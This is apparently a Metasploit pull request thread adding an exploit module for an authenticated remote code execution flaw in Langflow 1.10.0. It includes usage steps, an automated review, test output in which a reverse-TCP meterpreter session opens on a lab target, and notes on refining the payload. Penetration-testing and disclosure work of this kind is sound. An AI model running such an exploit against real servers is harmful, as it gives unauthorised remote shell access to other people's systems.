ENH: Exploit module for Langflow Authenticated RCE vulnerability CVE-2026-19295

[rmhowe425]

Description

This pull request adds a new exploit module that detects and exploits an authenticated remote code execution vulnerability impacting Langflow versions 1.10.0 and below.

Related Issue:
Fixes #21836

Breaking Changes

None

Reviewer Notes

Verification Steps

1. docker pull and docker run langflow, per documentation
2. Start msfconsole
3. Do: use exploit/multi/http/langflow_auth_rce_cve_2026_19295
4. Do: run lhost=<lhost> rhost=<rhost> username=<username> password=<password>
5. Do: exploit
6. You should get a meterpreter session

Test Evidence

Environment

Field	Details
Operating System	Ubuntu 22.04
Target Software/Hardware	Langflow 1.10.0
Docker Image / Vagrant Setup	langflowai/langflow:1.10.0

AI Usage Disclosure

None

Pre-Submission Checklist

• Included a corresponding documentation markdown file in documentation/modules (new modules only)
• No sensitive information (IP addresses, credentials, API keys, hashes) in code or documentation
• Tested on the target environment specified in the Environment section above
• Included RSpec tests for library changes (encouraged for lib/ changes)
• Read the CONTRIBUTING.md and module acceptance guidelines

[Copilot]

Pull request overview

Adds a new Metasploit exploit module (and accompanying documentation) targeting CVE-2026-19295, an authenticated remote code execution vulnerability in Langflow (<= 1.10.0), addressing the request in #21836.

Changes:

• Introduces exploit/multi/http/langflow_auth_rce_cve_2026_19295, implementing version checking, authentication, flow creation, and trigger logic.
• Adds module documentation describing the vulnerable setup, verification steps, and a usage scenario.

Impact Analysis:

• Blast radius: Low — isolated to a new exploit module + its documentation; no shared framework/library code changes identified from the diff.
• Data and contract effects: No schema/ABI changes; new module adds a new user-facing capability and stores data server-side on the target (flow creation) as part of exploitation.
• Rollback and test focus: Rollback is straightforward (remove the new module/docs); validate authentication, flow creation, and exploit trigger against Langflow 1.10.0 as documented.

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 3 comments.

File	Description
modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb	New authenticated Langflow RCE exploit module for CVE-2026-19295 with AutoCheck/version detection and flow-based trigger.
documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md	New module documentation covering vulnerable setup, verification steps, and an example scenario.

Suppressed comments (2)

documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md:46

• Important: Problem: the Options section is empty, despite introducing user-facing options (TARGETURI/USERNAME/PASSWORD/RPORT). Impact: operators may misconfigure the module or miss required settings. Fix: document the options and defaults in this section.

## Options

documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md:41

• Critical: Problem: the verification steps reference a different module path (langflow_unauth_rce_cve_2026_19295) and use run with inline arguments. Impact: users following the docs will run the wrong module and likely fail to reproduce. Fix: update the steps to use this module’s path and standard set/exploit workflow.

1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/langflow_unauth_rce_cve_2026_19295`
4. Do: `run lhost=<lhost> rhost=<rhost> username=<username> password=<password>`
5. You should get a meterpreter

---

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[bwatters-r7]

Test Results

  [*] Processing /tmp/msf-21837-test.rc for ERB directives.
  resource (/tmp/msf-21837-test.rc)> use exploit/multi/http/langflow_auth_rce_cve_2026_19295
  [*] No payload configured, defaulting to python/meterpreter/reverse_tcp
  resource (/tmp/msf-21837-test.rc)> set RHOSTS 10.5.135.119
  RHOSTS => 10.5.135.119
  resource (/tmp/msf-21837-test.rc)> set RPORT 7860
  RPORT => 7860
  resource (/tmp/msf-21837-test.rc)> set USERNAME root
  USERNAME => root
  resource (/tmp/msf-21837-test.rc)> set PASSWORD root
  PASSWORD => root
  resource (/tmp/msf-21837-test.rc)> set PAYLOAD python/meterpreter/reverse_tcp
  PAYLOAD => python/meterpreter/reverse_tcp
  resource (/tmp/msf-21837-test.rc)> set LHOST 10.5.135.210
  LHOST => 10.5.135.210
  resource (/tmp/msf-21837-test.rc)> set LPORT 4444
  LPORT => 4444
  resource (/tmp/msf-21837-test.rc)> set WfsDelay 20
  WfsDelay => 20
  resource (/tmp/msf-21837-test.rc)> run -j
  [*] Exploit running as background job 0.
  [*] Exploit completed, but no session was created.
  resource (/tmp/msf-21837-test.rc)> sleep 20
  [*] Started reverse TCP handler on 10.5.135.210:4444
  [*] Running automatic check ("set AutoCheck false" to disable)
  [+] The target appears to be vulnerable. Version 1.10.0 detected, which appears vulnerable.
  [*] Payload sent successfully.
  [*] Sending stage (34548 bytes) to 10.5.135.119
  [*] Meterpreter session 1 opened (10.5.135.210:4444 -> 10.5.135.119:47160) at 2026-08-28 15:44:31 -0500
  resource (/tmp/msf-21837-test.rc)> sessions -1 -C sysinfo
  [*] Running 'sysinfo' on meterpreter session 1 (10.5.135.119)
  Computer     : 52b3ce23886f
  OS           : Linux 6.17.0-1022-azure #22-Ubuntu SMP Mon Jul 27 17:24:03 UTC 2026
  Architecture : x64
  Meterpreter  : python/linux
  resource (/tmp/msf-21837-test.rc)> sessions -1 -C getuid
  [*] Running 'getuid' on meterpreter session 1 (10.5.135.119)
  Server username: user
  resource (/tmp/msf-21837-test.rc)> sessions -l

  Active sessions
  ===============

    Id  Name  Type                      Information          Connection
    --  ----  ----                      -----------          ----------
    1         meterpreter python/linux  user @ 52b3ce23886f  10.5.135.210:4444 -> 10.5.135.119:47160 (10.5.135.119)
    ```

[rmhowe425]

@bwatters-r7 should be good for a second round review

[rmhowe425]

I noticed that when I fired the exploit I was getting a lot of noise in the Langflow debugger console. This seems to be attributed to a Python TypeError caused by using exec() as a decorator since it returns None.

I went back and fixed this by using a callable lambda function instead.

This should make for a much cleaner and less noisy exploit

msfconsole output with new payload

Clean Langflow log

[rmhowe425]

@bwatters-r7 Updated implementation and documentation. Retesting was successful. Ready for 3rd round of reviews.

[bwatters-r7]

Dangit...... I completely missed that this was storing a new flow and did not delete it. Suggested logic for cleanup attempt.

[rmhowe425]

@bwatters-r7

Changes made to implementation based on reviewer feedback. Testing was successful.

Ready for the next round of reviews